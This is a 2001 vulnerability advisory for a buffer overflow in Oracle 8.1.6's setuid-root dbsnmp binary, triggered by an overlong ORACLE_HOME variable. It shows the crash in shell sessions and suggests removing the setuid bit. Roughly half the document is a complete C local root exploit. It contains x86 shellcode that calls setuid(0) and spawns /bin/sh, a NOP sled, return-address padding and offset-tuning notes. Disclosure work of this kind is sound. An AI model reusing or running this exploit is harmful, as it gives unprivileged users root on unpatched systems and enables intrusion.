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Title: Local Vulnerability in dbsnmp binary

Date: 13-07-2001

Platform: Only tested in Linux but can be exported to others.

Impact: Users belonging to oracle group can obtain euid=0

Author: Juan Manuel Pascual Escriba <paskplazasite.com>

Status: Vendor contacted at 18th July 2001

PROBLEM SUMMARY:

Buffer overflow exists if ORACLE_HOME enviroment variable if is defined
with a size greater than 749 bytes

[oracleproves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
-rwsr-s--- 1 root oinstall 667874 jul 18 15:38
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp

[oracleproves1 8.1.6]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
[oracleproves1 8.1.6]$
/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462

[oracleproves1 8.1.6]$[oracleproves1 8.1.6]$ export ORACLE_HOME=`perl
-e 'print "A"x750'`
[oracleproves1 8.1.6]$ dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Segmentation fault

This overflow exists in newer products like Oracle 9i and maybe in older
too.

[oracleproves1 iAS]$ ls -alc
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
-rwsr-s--- 1 root oinstall 971665 abr 11 17:41
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp

[oracleproves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
[oracleproves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462

[oracleproves1 iAS]$ Failed to initialize nl component,error=462
[oracleproves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x750'`
[oracleproves1 iAS]$
/usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
Segmentation fault

IMPACT:
    Any user belonging to oracle group can obtain euid=0.

SOLUTION:
    Chmod -s or if is posible (setresuid(getuid(),getuid(),getuid()) ...

    Wait for a patch.(??)

SPECIAL THANKS:

Francisco Fernandez <ffernandezpandasoftware.com>
Ivan Sanchez
<isanchezplazasite.com>
Mundo Alonso-Cuevillas <mundoplazasite.com>

--------------------------------------------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba paskplazasite.com

/* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.

dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.

In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps).

"Cae fuego en lugar de mana
Se disfraza el asfalto de mar
El zapato no encuentra el pedal
Parece que anda suelto satanas."

                        L.E.Aute
 

This vulnerability was researched by:
        Juan Manuel Pascual <paskplazasite.com>

Special thanks to:

        Ivan Sanchez <isanchezplazasite.com>
        Mundo Alonso-Cuevillas <mundoplazasite.com>
*/

#include <stdio.h>
#include <stdlib.h>

#define BUFFER 800
#define OFFSET 7896
#define NOP 0x90
#define BINARY "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"

char shellcode[] =
"\x90" /* Additional NOP */
"\x31\xc0" /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"

"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,binary[120];
  long *addr_ptr, addr;
  int bsize=BUFFER;
  int i,offset=OFFSET;

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() -offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  memset(buff,bsize/2,NOP);

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
setenv("ORACLE_HOME",buff,1);
system(BINARY);
}

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